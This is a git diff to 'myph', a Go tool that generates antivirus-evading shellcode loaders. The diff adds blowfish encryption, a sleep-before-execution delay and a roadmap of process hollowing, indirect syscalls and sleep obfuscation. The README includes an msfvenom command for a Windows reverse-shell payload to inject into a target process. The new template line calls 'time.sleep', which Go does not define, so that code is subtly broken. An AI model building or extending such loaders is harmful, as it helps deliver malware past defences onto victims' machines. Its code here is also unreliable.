diff --git a/README.md b/README.md
@@ -42,12 +42,13 @@ Usage:
myph [flags]
Flags:
- -e, --encryption encKind encryption method. (allowed: AES, XOR) (default AES)
+ -e, --encryption encKind encryption method. (allowed: AES, XOR, blowfish) (default AES)
-h, --help help for myph
-k, --key string encryption key, auto-generated if empty. (if used by --encryption)
-f, --out string output name (default "payload.exe")
-p, --process string target process to inject shellcode to (default "cmd.exe")
-s, --shellcode string shellcode path (default "msf.raw")
+ -l, --sleep-time uint sleep time before executing loader (default: 0)
-t, --technique string shellcode-loading technique (allowed: CRT, CreateThread) (default "CRT")
-v, --version version for myph
```
@@ -60,8 +61,6 @@ This tool supports few methods for now, but aims to add more as time goes on:
If you don't know what that is about, go check out [this repository](https://github.com/CMEPW/BypassAV) :)~
-> Altough there is an OS version, Linux or MacOS are not supported yet !
-
#### Example
@@ -72,7 +71,7 @@ Generate a payload like so:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.2.2 LPORT=1234 -f raw -o msf.raw
# run myph (--shellcode is not mandatory here because we use the default value)
-./myph --shellcode msf.raw --out something
+./myph --shellcode msf.raw --out something.exe
# you should find your payload here
file ./something.exe
diff --git a/TODO.txt b/TODO.txt
@@ -1,18 +1,33 @@
-
-This is the stuff that needs to be fixed before 2.0 Release
-can be validated.
-
+#############################
+####### ROADMAP 2.0.0 #######
+#############################
Encryption:
-
-> add support for chacha20
-> re-introduce support for blowfish
+Templates:
+ - ProcessHollowing
+ - syscall method
+
+Misc:
+ - support for loading modules from PEB
+ - Research indirect syscalls
+
+
+#############################
+####### ROADMAP 2.1.0 #######
+#############################
Templates:
+ - CreateRemoteThreadEx
+ - CreateFiber
+ - EtwpCreateEtwThread
+
+Sleep / jitter:
+ - Ekko
- -> add support for variable sleep & jitter methods
- - can added into main.go template & should be optional
- -> add ProcessHollowing template & syscall method
- -> add template for loading dlls & win32 api calls through PEB
- -> add to TODO plan for indirect syscalls
+Misc:
+ - indirect syscalls
+ - Refactoring CLI options to interfaces
+ - support for dameonizing
diff --git a/cli/defaults.go b/cli/defaults.go
@@ -15,6 +15,7 @@ func GetDefaultCLIOptions() Options {
Encryption: EncKindAES,
Key: "",
Technique: "CRT",
+ SleepTime: 0,
}
return opts
diff --git a/cli/parser.go b/cli/parser.go
@@ -132,7 +132,16 @@ func GetParser(opts *Options) *cobra.Command {
/* write main execution template */
encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
- err = tools.WriteToFile(MYPH_TMP_DIR, "main.go", tools.GetMainTemplate(encType.String(), encodedKey, encodedShellcode))
+ err = tools.WriteToFile(
+ MYPH_TMP_DIR,
+ "main.go",
+ tools.GetMainTemplate(
+ encType.String(),
+ encodedKey,
+ encodedShellcode,
+ opts.SleepTime,
+ ),
+ )
if err != nil {
panic(err)
}
@@ -188,5 +197,7 @@ func GetParser(opts *Options) *cobra.Command {
cmd.PersistentFlags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, XOR, blowfish)")
cmd.PersistentFlags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
+ cmd.PersistentFlags().UintVarP(&opts.SleepTime, "sleep-time", "l", defaults.SleepTime, "sleep time before executing loader (default: 0)")
+
return cmd
}
diff --git a/cli/types.go b/cli/types.go
@@ -84,4 +84,7 @@ type Options struct {
// Shellcode loading method
Technique string
+
+ // Sleep time before running execution
+ SleepTime uint
}
diff --git a/tools/utils.go b/tools/utils.go
@@ -127,7 +127,12 @@ go 1.20
return nil
}
-func GetMainTemplate(encoding string, key string, sc string) string {
+func GetMainTemplate(
+ encoding string,
+ key string,
+ sc string,
+ sleepTime uint,
+) string {
/* if hex encoding is used, it does not require to go through StdEncoding */
encCall := "enc.StdEncoding"
@@ -139,6 +144,7 @@ func GetMainTemplate(encoding string, key string, sc string) string {
package main
import (
+ "time"
"os"
enc "encoding/%s"
)
@@ -156,7 +162,8 @@ func main() {
os.Exit(1)
}
+ time.sleep(%d * time.Second)
ExecuteOrderSixtySix(decrypted)
}
- `, encoding, key, sc, encCall, encCall)
+ `, encoding, key, sc, encCall, encCall, sleepTime)
}
| | | | | |